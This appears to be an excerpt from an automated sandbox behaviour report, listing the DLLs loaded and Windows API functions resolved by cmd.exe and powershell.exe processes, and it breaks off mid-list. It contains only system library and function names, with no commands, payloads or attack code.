%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00004464)33:T18620,"cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005204) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005920) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005920) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext 